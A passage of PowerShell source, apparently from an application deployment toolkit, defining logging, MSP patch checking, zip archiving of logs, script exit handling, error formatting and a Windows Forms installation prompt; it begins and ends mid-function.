[Parameter(Mandatory=$true,ParameterSetName='Header')] [AllowEmptyCollection()] [hashtable]$CmdletBoundParameters, [Parameter(Mandatory=$true,ParameterSetName='Header')] [switch]$Header, [Parameter(Mandatory=$true,ParameterSetName='Footer')] [switch]$Footer ) If ($Header) { Write-Log -Message 'Function Start' -Source ${CmdletName} -DebugMessage [string]$CmdletBoundParameters = $CmdletBoundParameters | Format-Table -Property @{ Label = 'Parameter'; Expression = { "[-$($_.Key)]" } }, @{ Label = 'Value'; Expression = { $_.Value }; Alignment = 'Left' }, @{ Label = 'Type'; Expression = { $_.Value.GetType().Name }; Alignment = 'Left' } -AutoSize -Wrap | Out-String If ($CmdletBoundParameters) { Write-Log -Message "Function invoked with bound parameter(s): `n$CmdletBoundParameters" -Source ${CmdletName} -DebugMessage } Else { Write-Log -Message 'Function invoked without any bound parameters.' -Source ${CmdletName} -DebugMessage } } ElseIf ($Footer) { Write-Log -Message 'Function End' -Source ${CmdletName} -DebugMessage } } Function Execute-MSP { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,HelpMessage='Please enter the path to the MSP file')] [ValidateScript({('.msp' -contains [IO.Path]::GetExtension($_))})] [Alias('FilePath')] [string]$Path ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If (Test-Path -LiteralPath (Join-Path -Path $dirFiles -ChildPath $path -ErrorAction 'SilentlyContinue') -PathType 'Leaf' -ErrorAction 'SilentlyContinue') { [string]$mspFile = Join-Path -Path $dirFiles -ChildPath $path } ElseIf (Test-Path -LiteralPath $Path -ErrorAction 'SilentlyContinue') { [string]$mspFile = (Get-Item -LiteralPath $Path).FullName } Else { Write-Log -Message "Failed to find MSP file [$path]." -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to find MSP file [$path]." } Continue } Write-Log -Message 'Checking MSP file for valid product codes' -Source ${CmdletName} [boolean]$IsMSPNeeded = $false $Installer = New-Object -com WindowsInstaller.Installer $Database = $Installer.GetType().InvokeMember("OpenDatabase", "InvokeMethod", $Null, $Installer, $($mspFile,([int32]32))) [__comobject]$SummaryInformation = Get-ObjectProperty -InputObject $Database -PropertyName 'SummaryInformation' [hashtable]$SummaryInfoProperty = @{} $all = (Get-ObjectProperty -InputObject $SummaryInformation -PropertyName 'Property' -ArgumentList @(7)).Split(";") Foreach($FormattedProductCode in $all) { [psobject]$MSIInstalled = Get-InstalledApplication -ProductCode $FormattedProductCode If ($MSIInstalled) {[boolean]$IsMSPNeeded = $true } } Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($SummaryInformation) } Catch { } Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($DataBase) } Catch { } Try { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($Installer) } Catch { } If ($IsMSPNeeded) { Execute-MSI -Action Patch -Path $Path } } } Function Write-Log { [CmdletBinding()] Param ( [Parameter(Mandatory=$true,Position=0,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] [AllowEmptyCollection()] [Alias('Text')] [string[]]$Message, [Parameter(Mandatory=$false,Position=1)] [ValidateRange(1,3)] [int16]$Severity = 1, [Parameter(Mandatory=$false,Position=2)] [ValidateNotNull()] [string]$Source = '', [Parameter(Mandatory=$false,Position=3)] [ValidateNotNullorEmpty()] [string]$ScriptSection = $script:installPhase, [Parameter(Mandatory=$false,Position=4)] [ValidateSet('CMTrace','Legacy')] [string]$LogType = $configToolkitLogStyle, [Parameter(Mandatory=$false,Position=5)] [ValidateNotNullorEmpty()] [string]$LogFileDirectory = $(If ($configToolkitCompressLogs) { $logTempFolder } Else { $configToolkitLogDir }), [Parameter(Mandatory=$false,Position=6)] [ValidateNotNullorEmpty()] [string]$LogFileName = $logName, [Parameter(Mandatory=$false,Position=7)] [ValidateNotNullorEmpty()] [decimal]$MaxLogFileSizeMB = $configToolkitLogMaxSize, [Parameter(Mandatory=$false,Position=8)] [ValidateNotNullorEmpty()] [boolean]$WriteHost = $configToolkitLogWriteToHost, [Parameter(Mandatory=$false,Position=9)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true, [Parameter(Mandatory=$false,Position=10)] [switch]$PassThru = $false, [Parameter(Mandatory=$false,Position=11)] [switch]$DebugMessage = $false, [Parameter(Mandatory=$false,Position=12)] [boolean]$LogDebugMessage = $configToolkitLogDebugMessage ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name [string]$LogTime = (Get-Date -Format 'HH\:mm\:ss.fff').ToString() [string]$LogDate = (Get-Date -Format 'MM-dd-yyyy').ToString() If (-not (Test-Path -LiteralPath 'variable:LogTimeZoneBias')) { [int32]$script:LogTimeZoneBias = [timezone]::CurrentTimeZone.GetUtcOffset([datetime]::Now).TotalMinutes } [string]$LogTimePlusBias = $LogTime + $script:LogTimeZoneBias [boolean]$ExitLoggingFunction = $false If (-not (Test-Path -LiteralPath 'variable:DisableLogging')) { $DisableLogging = $false } [boolean]$ScriptSectionDefined = [boolean](-not [string]::IsNullOrEmpty($ScriptSection)) Try { If ($script:MyInvocation.Value.ScriptName) { [string]$ScriptSource = Split-Path -Path $script:MyInvocation.Value.ScriptName -Leaf -ErrorAction 'Stop' } Else { [string]$ScriptSource = Split-Path -Path $script:MyInvocation.MyCommand.Definition -Leaf -ErrorAction 'Stop' } } Catch { $ScriptSource = '' } [scriptblock]$CMTraceLogString = { Param ( [string]$lMessage, [string]$lSource, [int16]$lSeverity ) "<![LOG[$lMessage]LOG]!>" + "<time=`"$LogTimePlusBias`" " + "date=`"$LogDate`" " + "component=`"$lSource`" " + "context=`"$([Security.Principal.WindowsIdentity]::GetCurrent().Name)`" " + "type=`"$lSeverity`" " + "thread=`"$PID`" " + "file=`"$ScriptSource`">" } [scriptblock]$WriteLogLineToHost = { Param ( [string]$lTextLogLine, [int16]$lSeverity ) If ($WriteHost) { If ($Host.UI.RawUI.ForegroundColor) { Switch ($lSeverity) { 3 { Write-Host -Object $lTextLogLine -ForegroundColor 'Red' -BackgroundColor 'Black' } 2 { Write-Host -Object $lTextLogLine -ForegroundColor 'Yellow' -BackgroundColor 'Black' } 1 { Write-Host -Object $lTextLogLine } } } Else { Write-Output -InputObject $lTextLogLine } } } If (($DebugMessage) -and (-not $LogDebugMessage)) { [boolean]$ExitLoggingFunction = $true; Return } If (($DisableLogging) -and (-not $WriteHost)) { [boolean]$ExitLoggingFunction = $true; Return } If ($DisableLogging) { Return } If (($AsyncToolkitLaunch) -and ($ScriptSection -eq 'Initialization')) { [boolean]$ExitLoggingFunction = $true; Return } If (-not (Test-Path -LiteralPath $LogFileDirectory -PathType 'Container')) { Try { $null = New-Item -Path $LogFileDirectory -Type 'Directory' -Force -ErrorAction 'Stop' } Catch { [boolean]$ExitLoggingFunction = $true If (-not $ContinueOnError) { Write-Host -Object "[$LogDate $LogTime] [${CmdletName}] $ScriptSection :: Failed to create the log directory [$LogFileDirectory]. `n$(Resolve-Error)" -ForegroundColor 'Red' } Return } } [string]$LogFilePath = Join-Path -Path $LogFileDirectory -ChildPath $LogFileName } Process { If ($ExitLoggingFunction) { Return } ForEach ($Msg in $Message) { [string]$CMTraceMsg = '' [string]$ConsoleLogLine = '' [string]$LegacyTextLogLine = '' If ($Msg) { If ($ScriptSectionDefined) { [string]$CMTraceMsg = "[$ScriptSection] :: $Msg" } [string]$LegacyMsg = "[$LogDate $LogTime]" If ($ScriptSectionDefined) { [string]$LegacyMsg += " [$ScriptSection]" } If ($Source) { [string]$ConsoleLogLine = "$LegacyMsg [$Source] :: $Msg" Switch ($Severity) { 3 { [string]$LegacyTextLogLine = "$LegacyMsg [$Source] [Error] :: $Msg" } 2 { [string]$LegacyTextLogLine = "$LegacyMsg [$Source] [Warning] :: $Msg" } 1 { [string]$LegacyTextLogLine = "$LegacyMsg [$Source] [Info] :: $Msg" } } } Else { [string]$ConsoleLogLine = "$LegacyMsg :: $Msg" Switch ($Severity) { 3 { [string]$LegacyTextLogLine = "$LegacyMsg [Error] :: $Msg" } 2 { [string]$LegacyTextLogLine = "$LegacyMsg [Warning] :: $Msg" } 1 { [string]$LegacyTextLogLine = "$LegacyMsg [Info] :: $Msg" } } } } [string]$CMTraceLogLine = & $CMTraceLogString -lMessage $CMTraceMsg -lSource $Source -lSeverity $Severity If ($LogType -ieq 'CMTrace') { [string]$LogLine = $CMTraceLogLine } Else { [string]$LogLine = $LegacyTextLogLine } If (-not $DisableLogging) { Try { $LogLine | Out-File -FilePath $LogFilePath -Append -NoClobber -Force -Encoding 'UTF8' -ErrorAction 'Stop' } Catch { If (-not $ContinueOnError) { Write-Host -Object "[$LogDate $LogTime] [$ScriptSection] [${CmdletName}] :: Failed to write message [$Msg] to the log file [$LogFilePath]. `n$(Resolve-Error)" -ForegroundColor 'Red' } } } & $WriteLogLineToHost -lTextLogLine $ConsoleLogLine -lSeverity $Severity } } End { Try { If ((-not $ExitLoggingFunction) -and (-not $DisableLogging)) { [IO.FileInfo]$LogFile = Get-ChildItem -LiteralPath $LogFilePath -ErrorAction 'Stop' [decimal]$LogFileSizeMB = $LogFile.Length/1MB If (($LogFileSizeMB -gt $MaxLogFileSizeMB) -and ($MaxLogFileSizeMB -gt 0)) { [string]$ArchivedOutLogFile = [IO.Path]::ChangeExtension($LogFilePath, 'lo_') [hashtable]$ArchiveLogParams = @{ ScriptSection = $ScriptSection; Source = ${CmdletName}; Severity = 2; LogFileDirectory = $LogFileDirectory; LogFileName = $LogFileName; LogType = $LogType; MaxLogFileSizeMB = 0; WriteHost = $WriteHost; ContinueOnError = $ContinueOnError; PassThru = $false } $ArchiveLogMessage = "Maximum log file size [$MaxLogFileSizeMB MB] reached. Rename log file to [$ArchivedOutLogFile]." Write-Log -Message $ArchiveLogMessage @ArchiveLogParams Move-Item -LiteralPath $LogFilePath -Destination $ArchivedOutLogFile -Force -ErrorAction 'Stop' $NewLogMessage = "Previous log file was renamed to [$ArchivedOutLogFile] because maximum log file size of [$MaxLogFileSizeMB MB] was reached." Write-Log -Message $NewLogMessage @ArchiveLogParams } } } Catch { } Finally { If ($PassThru) { Write-Output -InputObject $Message } } } } Function New-ZipFile { [CmdletBinding(DefaultParameterSetName='CreateFromDirectory')] Param ( [Parameter(Mandatory=$true,Position=0)] [ValidateNotNullorEmpty()] [string]$DestinationArchiveDirectoryPath, [Parameter(Mandatory=$true,Position=1)] [ValidateNotNullorEmpty()] [string]$DestinationArchiveFileName, [Parameter(Mandatory=$true,Position=2,ParameterSetName='CreateFromDirectory')] [ValidateScript({ Test-Path -LiteralPath $_ -PathType 'Container' })] [string[]]$SourceDirectoryPath, [Parameter(Mandatory=$true,Position=2,ParameterSetName='CreateFromFile')] [ValidateScript({ Test-Path -LiteralPath $_ -PathType 'Leaf' })] [string[]]$SourceFilePath, [Parameter(Mandatory=$false,Position=3)] [ValidateNotNullorEmpty()] [switch]$RemoveSourceAfterArchiving = $false, [Parameter(Mandatory=$false,Position=4)] [ValidateNotNullorEmpty()] [switch]$OverWriteArchive = $false, [Parameter(Mandatory=$false,Position=5)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { [string]$DestinationPath = Join-Path -Path $DestinationArchiveDirectoryPath -ChildPath $DestinationArchiveFileName -ErrorAction 'Stop' Write-Log -Message "Create a zip archive with the requested content at destination path [$DestinationPath]." -Source ${CmdletName} If (($OverWriteArchive) -and (Test-Path -LiteralPath $DestinationPath)) { Write-Log -Message "An archive at the destination path already exists, deleting file [$DestinationPath]." -Source ${CmdletName} $null = Remove-Item -LiteralPath $DestinationPath -Force -ErrorAction 'Stop' } If (-not (Test-Path -LiteralPath $DestinationPath)) { Write-Log -Message "Create a zero-byte file [$DestinationPath]." -Source ${CmdletName} $null = New-Item -Path $DestinationArchiveDirectoryPath -Name $DestinationArchiveFileName -ItemType 'File' -Force -ErrorAction 'Stop' [byte[]]$ZipArchiveByteHeader = 80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 [IO.FileStream]$FileStream = New-Object -TypeName 'System.IO.FileStream' -ArgumentList ($DestinationPath, ([IO.FileMode]::Create)) [IO.BinaryWriter]$BinaryWriter = New-Object -TypeName 'System.IO.BinaryWriter' -ArgumentList ($FileStream) Write-Log -Message "Write the file header for a zip archive to the zero-byte file [$DestinationPath]." -Source ${CmdletName} $null = $BinaryWriter.Write($ZipArchiveByteHeader) $BinaryWriter.Close() $FileStream.Close() } [__comobject]$ShellApp = New-Object -ComObject 'Shell.Application' -ErrorAction 'Stop' [__comobject]$Archive = $ShellApp.NameSpace($DestinationPath) If ($PSCmdlet.ParameterSetName -eq 'CreateFromDirectory') { ForEach ($Directory in $SourceDirectoryPath) { Try { [__comobject]$CreateFromDirectory = $ShellApp.NameSpace($Directory) $null = $Archive.CopyHere($CreateFromDirectory.Items()) Write-Log -Message "Compressing [$($CreateFromDirectory.Count)] file(s) in source directory [$Directory] to destination path [$DestinationPath]..." -Source ${CmdletName} Do { Start-Sleep -Milliseconds 250 } While ($Archive.Items().Count -eq 0) } Finally { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($CreateFromDirectory) } If ($RemoveSourceAfterArchiving) { Try { Write-Log -Message "Recursively delete the source directory [$Directory] as contents have been successfully archived." -Source ${CmdletName} $null = Remove-Item -LiteralPath $Directory -Recurse -Force -ErrorAction 'Stop' } Catch { Write-Log -Message "Failed to recursively delete the source directory [$Directory]. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} } } } } Else { [IO.FileInfo[]]$SourceFilePath = [IO.FileInfo[]]$SourceFilePath ForEach ($File in $SourceFilePath) { $null = $Archive.CopyHere($File.FullName) Write-Log -Message "Compressing file [$($File.FullName)] to destination path [$DestinationPath]..." -Source ${CmdletName} Do { Start-Sleep -Milliseconds 250 } While ($Archive.Items().Count -eq 0) If ($RemoveSourceAfterArchiving) { Try { Write-Log -Message "Delete the source file [$($File.FullName)] as it has been successfully archived." -Source ${CmdletName} $null = Remove-Item -LiteralPath $File.FullName -Force -ErrorAction 'Stop' } Catch { Write-Log -Message "Failed to delete the source file [$($File.FullName)]. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} } } } } Write-Log -Message "If the archive was created in session 0 or by an Admin, then it may only be readable by elevated users. Apply permissions from parent folder [$DestinationArchiveDirectoryPath] to file [$DestinationPath]." -Source ${CmdletName} Try { [Security.AccessControl.DirectorySecurity]$DestinationArchiveDirectoryPathAcl = Get-Acl -Path $DestinationArchiveDirectoryPath -ErrorAction 'Stop' Set-Acl -Path $DestinationPath -AclObject $DestinationArchiveDirectoryPathAcl -ErrorAction 'Stop' } Catch { Write-Log -Message "Failed to apply parent folder's [$DestinationArchiveDirectoryPath] permissions to file [$DestinationPath]. `n$(Resolve-Error)" -Severity 2 -Source ${CmdletName} } } Catch { Write-Log -Message "Failed to archive the requested file(s). `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to archive the requested file(s): $($_.Exception.Message)" } } Finally { If ($Archive) { $null = [Runtime.Interopservices.Marshal]::ReleaseComObject($Archive) } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Exit-Script { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$ExitCode = 0 ) [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name If ($formCloseApps) { $formCloseApps.Close } Close-InstallationProgress If ($BlockExecution) { Unblock-AppExecution } If ($terminalServerMode) { Disable-TerminalServerInstallMode } Switch ($exitCode) { $configInstallationUIExitCode { $installSuccess = $false } $configInstallationDeferExitCode { $installSuccess = $false } 3010 { $installSuccess = $true } 1641 { $installSuccess = $true } 0 { $installSuccess = $true } Default { $installSuccess = $false } } If ($deployModeSilent) { [boolean]$configShowBalloonNotifications = $false } If ($installSuccess) { If (Test-Path -LiteralPath $regKeyDeferHistory -ErrorAction 'SilentlyContinue') { Write-Log -Message 'Remove deferral history...' -Source ${CmdletName} Remove-RegistryKey -Key $regKeyDeferHistory -Recurse } [string]$balloonText = "$deploymentTypeName $configBalloonTextComplete" If (($AllowRebootPassThru) -and ((($msiRebootDetected) -or ($exitCode -eq 3010)) -or ($exitCode -eq 1641))) { Write-Log -Message 'A restart has been flagged as required.' -Source ${CmdletName} [string]$balloonText = "$deploymentTypeName $configBalloonTextRestartRequired" If (($msiRebootDetected) -and ($exitCode -ne 1641)) { [int32]$exitCode = 3010 } } Else { [int32]$exitCode = 0 } Write-Log -Message "$installName $deploymentTypeName completed with exit code [$exitcode]." -Source ${CmdletName} If ($configShowBalloonNotifications) { Show-BalloonTip -BalloonTipIcon 'Info' -BalloonTipText $balloonText } } ElseIf (-not $installSuccess) { Write-Log -Message "$installName $deploymentTypeName completed with exit code [$exitcode]." -Source ${CmdletName} If (($exitCode -eq $configInstallationUIExitCode) -or ($exitCode -eq $configInstallationDeferExitCode)) { [string]$balloonText = "$deploymentTypeName $configBalloonTextFastRetry" If ($configShowBalloonNotifications) { Show-BalloonTip -BalloonTipIcon 'Warning' -BalloonTipText $balloonText } } Else { [string]$balloonText = "$deploymentTypeName $configBalloonTextError" If ($configShowBalloonNotifications) { Show-BalloonTip -BalloonTipIcon 'Error' -BalloonTipText $balloonText } } } [string]$LogDash = '-' * 79 Write-Log -Message $LogDash -Source ${CmdletName} If ($configToolkitCompressLogs) { . $DisableScriptLogging [string]$DestinationArchiveFileName = $installName + '_' + $deploymentType + '_' + ((Get-Date -Format 'yyyy-MM-dd-hh-mm-ss').ToString()) + '.zip' New-ZipFile -DestinationArchiveDirectoryPath $configToolkitLogDir -DestinationArchiveFileName $DestinationArchiveFileName -SourceDirectory $logTempFolder -RemoveSourceAfterArchiving } If ($script:notifyIcon) { Try { $script:notifyIcon.Dispose() } Catch {} } If (Test-Path -LiteralPath 'variable:HostInvocation') { $script:ExitCode = $exitCode; Exit } Else { Exit $exitCode } } Function Resolve-Error { [CmdletBinding()] Param ( [Parameter(Mandatory=$false,Position=0,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] [AllowEmptyCollection()] [array]$ErrorRecord, [Parameter(Mandatory=$false,Position=1)] [ValidateNotNullorEmpty()] [string[]]$Property = ('Message','InnerException','FullyQualifiedErrorId','ScriptStackTrace','PositionMessage'), [Parameter(Mandatory=$false,Position=2)] [switch]$GetErrorRecord = $true, [Parameter(Mandatory=$false,Position=3)] [switch]$GetErrorInvocation = $true, [Parameter(Mandatory=$false,Position=4)] [switch]$GetErrorException = $true, [Parameter(Mandatory=$false,Position=5)] [switch]$GetErrorInnerException = $true ) Begin { If (-not $ErrorRecord) { If ($global:Error.Count -eq 0) { Return } Else { [array]$ErrorRecord = $global:Error[0] } } [scriptblock]$SelectProperty = { Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] $InputObject, [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string[]]$Property ) [string[]]$ObjectProperty = $InputObject | Get-Member -MemberType '*Property' | Select-Object -ExpandProperty 'Name' ForEach ($Prop in $Property) { If ($Prop -eq '*') { [string[]]$PropertySelection = $ObjectProperty Break } ElseIf ($ObjectProperty -contains $Prop) { [string[]]$PropertySelection += $Prop } } Write-Output -InputObject $PropertySelection } $LogErrorRecordMsg = $null $LogErrorInvocationMsg = $null $LogErrorExceptionMsg = $null $LogErrorMessageTmp = $null $LogInnerMessage = $null } Process { If (-not $ErrorRecord) { Return } ForEach ($ErrRecord in $ErrorRecord) { If ($GetErrorRecord) { [string[]]$SelectedProperties = & $SelectProperty -InputObject $ErrRecord -Property $Property $LogErrorRecordMsg = $ErrRecord | Select-Object -Property $SelectedProperties } If ($GetErrorInvocation) { If ($ErrRecord.InvocationInfo) { [string[]]$SelectedProperties = & $SelectProperty -InputObject $ErrRecord.InvocationInfo -Property $Property $LogErrorInvocationMsg = $ErrRecord.InvocationInfo | Select-Object -Property $SelectedProperties } } If ($GetErrorException) { If ($ErrRecord.Exception) { [string[]]$SelectedProperties = & $SelectProperty -InputObject $ErrRecord.Exception -Property $Property $LogErrorExceptionMsg = $ErrRecord.Exception | Select-Object -Property $SelectedProperties } } If ($Property -eq '*') { If ($LogErrorRecordMsg) { [array]$LogErrorMessageTmp += $LogErrorRecordMsg } If ($LogErrorInvocationMsg) { [array]$LogErrorMessageTmp += $LogErrorInvocationMsg } If ($LogErrorExceptionMsg) { [array]$LogErrorMessageTmp += $LogErrorExceptionMsg } } Else { If ($LogErrorExceptionMsg) { [array]$LogErrorMessageTmp += $LogErrorExceptionMsg } If ($LogErrorRecordMsg) { [array]$LogErrorMessageTmp += $LogErrorRecordMsg } If ($LogErrorInvocationMsg) { [array]$LogErrorMessageTmp += $LogErrorInvocationMsg } } If ($LogErrorMessageTmp) { $LogErrorMessage = 'Error Record:' $LogErrorMessage += "`n-------------" $LogErrorMsg = $LogErrorMessageTmp | Format-List | Out-String $LogErrorMessage += $LogErrorMsg } If ($GetErrorInnerException) { If ($ErrRecord.Exception -and $ErrRecord.Exception.InnerException) { $LogInnerMessage = 'Error Inner Exception(s):' $LogInnerMessage += "`n-------------------------" $ErrorInnerException = $ErrRecord.Exception.InnerException $Count = 0 While ($ErrorInnerException) { [string]$InnerExceptionSeperator = '~' * 40 [string[]]$SelectedProperties = & $SelectProperty -InputObject $ErrorInnerException -Property $Property $LogErrorInnerExceptionMsg = $ErrorInnerException | Select-Object -Property $SelectedProperties | Format-List | Out-String If ($Count -gt 0) { $LogInnerMessage += $InnerExceptionSeperator } $LogInnerMessage += $LogErrorInnerExceptionMsg $Count++ $ErrorInnerException = $ErrorInnerException.InnerException } } } If ($LogErrorMessage) { $Output = $LogErrorMessage } If ($LogInnerMessage) { $Output += $LogInnerMessage } Write-Output -InputObject $Output If (Test-Path -LiteralPath 'variable:Output') { Clear-Variable -Name 'Output' } If (Test-Path -LiteralPath 'variable:LogErrorMessage') { Clear-Variable -Name 'LogErrorMessage' } If (Test-Path -LiteralPath 'variable:LogInnerMessage') { Clear-Variable -Name 'LogInnerMessage' } If (Test-Path -LiteralPath 'variable:LogErrorMessageTmp') { Clear-Variable -Name 'LogErrorMessageTmp' } } } End { } } Function Show-InstallationPrompt { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$Title = $installTitle, [Parameter(Mandatory=$false)] [string]$Message = '', [Parameter(Mandatory=$false)] [ValidateSet('Left','Center','Right')] [string]$MessageAlignment = 'Center', [Parameter(Mandatory=$false)] [string]$ButtonRightText = '', [Parameter(Mandatory=$false)] [string]$ButtonLeftText = '', [Parameter(Mandatory=$false)] [string]$ButtonMiddleText = '', [Parameter(Mandatory=$false)] [ValidateSet('Application','Asterisk','Error','Exclamation','Hand','Information','None','Question','Shield','Warning','WinLogo')] [string]$Icon = 'None', [Parameter(Mandatory=$false)] [switch]$NoWait = $false, [Parameter(Mandatory=$false)] [switch]$PersistPrompt = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$MinimizeWindows = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$Timeout = $configInstallationUITimeout, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ExitOnTimeout = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($deployModeSilent) { Write-Log -Message "Bypassing Installation Prompt [Mode: $deployMode]... $Message" -Source ${CmdletName} Return } [hashtable]$installPromptParameters = $psBoundParameters If ($timeout -gt $configInstallationUITimeout) { [string]$CountdownTimeoutErr = "The installation UI dialog timeout cannot be longer than the timeout specified in the XML configuration file." Write-Log -Message $CountdownTimeoutErr -Severity 3 -Source ${CmdletName} Throw $CountdownTimeoutErr } [Windows.Forms.Application]::EnableVisualStyles() $formInstallationPrompt = New-Object -TypeName 'System.Windows.Forms.Form' $pictureBanner = New-Object -TypeName 'System.Windows.Forms.PictureBox' $pictureIcon = New-Object -TypeName 'System.Windows.Forms.PictureBox' $labelText = New-Object -TypeName 'System.Windows.Forms.Label' $buttonRight = New-Object -TypeName 'System.Windows.Forms.Button' $buttonMiddle = New-Object -TypeName 'System.Windows.Forms.Button' $buttonLeft = New-Object -TypeName 'System.Windows.Forms.Button' $buttonAbort = New-Object -TypeName 'System.Windows.Forms.Button' $InitialFormInstallationPromptWindowState = New-Object -TypeName 'System.Windows.Forms.FormWindowState' [scriptblock]$Form_Cleanup_FormClosed = { Try { $labelText.remove_Click($handler_labelText_Click) $buttonLeft.remove_Click($buttonLeft_OnClick) $buttonRight.remove_Click($buttonRight_OnClick) $buttonMiddle.remove_Click($buttonMiddle_OnClick) $buttonAbort.remove_Click($buttonAbort_OnClick) $timer.remove_Tick($timer_Tick) $timer.Dispose() $timer = $null $timerPersist.remove_Tick($timerPersist_Tick) $timerPersist.Dispose() $timerPersist = $null $formInstallationPrompt.remove_Load($Form_StateCorrection_Load) $formInstallationPrompt.remove_FormClosed($Form_Cleanup_FormClosed) } Catch { } } [scriptblock]$Form_StateCorrection_Load = { $formInstallationPrompt.WindowState = 'Normal' $formInstallationPrompt.AutoSize = $true $formInstallationPrompt.TopMost = $true $formInstallationPrompt.BringToFront() Set-Variable -Name 'formInstallationPromptStartPosition' -Value $formInstallationPrompt.Location -Scope 'Script' } $formInstallationPrompt.Controls.Add($pictureBanner) $paddingNone = New-Object -TypeName 'System.Windows.Forms.Padding' $paddingNone.Top = 0 $paddingNone.Bottom = 0 $paddingNone.Left = 0 $paddingNone.Right = 0 $buttonWidth = 110 $buttonHeight = 23 $buttonPadding = 50 $buttonSize = New-Object -TypeName 'System.Drawing.Size' $buttonSize.Width = $buttonWidth $buttonSize.Height = $buttonHeight $buttonPadding = New-Object -TypeName 'System.Windows.Forms.Padding' $buttonPadding.Top = 0 $buttonPadding.Bottom = 5 $buttonPadding.Left = 50 $buttonPadding.Right = 0 $pictureBanner.DataBindings.DefaultDataSourceUpdateMode = 0 $pictureBanner.ImageLocation = $appDeployLogoBanner $System_Drawing_Point = New-Object -TypeName 'System.Drawing.Point' $System_Drawing_Point.X = 0 $System_Drawing_Point.Y = 0 $pictureBanner.Location = $System_Drawing_Point $pictureBanner.Name = 'pictureBanner' $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' $System_Drawing_Size.Height = $appDeployLogoBannerHeight $System_Drawing_Size.Width = 450 $pictureBanner.Size = $System_Drawing_Size $pictureBanner.SizeMode = 'CenterImage' $pictureBanner.Margin = $paddingNone $pictureBanner.TabIndex = 0 $pictureBanner.TabStop = $false $pictureIcon.DataBindings.DefaultDataSourceUpdateMode = 0 If ($icon -ne 'None') { $pictureIcon.Image = ([Drawing.SystemIcons]::$Icon).ToBitmap() } $System_Drawing_Point = New-Object -TypeName 'System.Drawing.Point' $System_Drawing_Point.X = 15 $System_Drawing_Point.Y = 105 + $appDeployLogoBannerHeightDifference $pictureIcon.Location = $System_Drawing_Point $pictureIcon.Name = 'pictureIcon' $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' $System_Drawing_Size.Height = 32 $System_Drawing_Size.Width = 32 $pictureIcon.Size = $System_Drawing_Size $pictureIcon.AutoSize = $true $pictureIcon.Margin = $paddingNone $pictureIcon.TabIndex = 0 $pictureIcon.TabStop = $false $labelText.DataBindings.DefaultDataSourceUpdateMode = 0 $labelText.Name = 'labelText' $System_Drawing_Size = New-Object -TypeName 'System.Drawing.Size' $System_Drawing_Size.Height = 148 $System_Drawing_Size.Width = 385 $labelText.Size = $System_Drawing_Size $System_Drawing_Point = New-Object -TypeName 'System.Drawing.Point' $System_Drawing_Point.X = 25 $System_Drawing_Point.Y = $appDeployLogoBannerHeight $labelText.Location = $System_Drawing_Point $labelText.Margin = '0,0,0,0' $labelText.Padding = '40,0,20,0' $labelText.TabIndex = 1 $labelText.Text = $message $labelText.TextAlign = "Middle$($MessageAlignment)" $labelText.Anchor = 'Top' $labelText.add_Click($handler_labelText_Click) $buttonLocationY = 200 + $appDeployLogoBannerHeightDifference $buttonLeft.DataBindings.DefaultDataSourceUpdateMode = 0 $buttonLeft.Location = "15,$buttonLocationY" $buttonLeft.Name = 'buttonLeft' $buttonLeft.Size = $buttonSize $buttonLeft.TabIndex = 5 $buttonLeft.Text = $buttonLeftText $buttonLeft.DialogResult = 'No' $buttonLeft.AutoSize = $false $buttonLeft.UseVisualStyleBackColor = $true $buttonLeft.add_Click($buttonLeft_OnClick) $buttonMiddle.DataBindings.DefaultDataSourceUpdateMode = 0 $buttonMiddle.Location = "170,$buttonLocationY" $buttonMiddle.Name = 'buttonMiddle' $buttonMiddle.Size = $buttonSize $buttonMiddle.TabIndex = 6 $buttonMiddle.Text = $buttonMiddleText $buttonMiddle.DialogResult = 'Ignore' $buttonMiddle.AutoSize = $true $buttonMiddle.UseVisualStyleBackColor = $true $buttonMiddle.add_Click($buttonMiddle_OnClick) $buttonRight.DataBindings.DefaultDataSourceUpdateMode = 0 $buttonRight.Location = "325,$buttonLocationY" $buttonRight.Name = 'buttonRight' $buttonRight.Size = $buttonSize $buttonRight.TabIndex = 7 $buttonRight.Text = $ButtonRightText $buttonRight.DialogResult = 'Yes' $buttonRight.AutoSize = $true $buttonRight.UseVisualStyleBackColor = $true 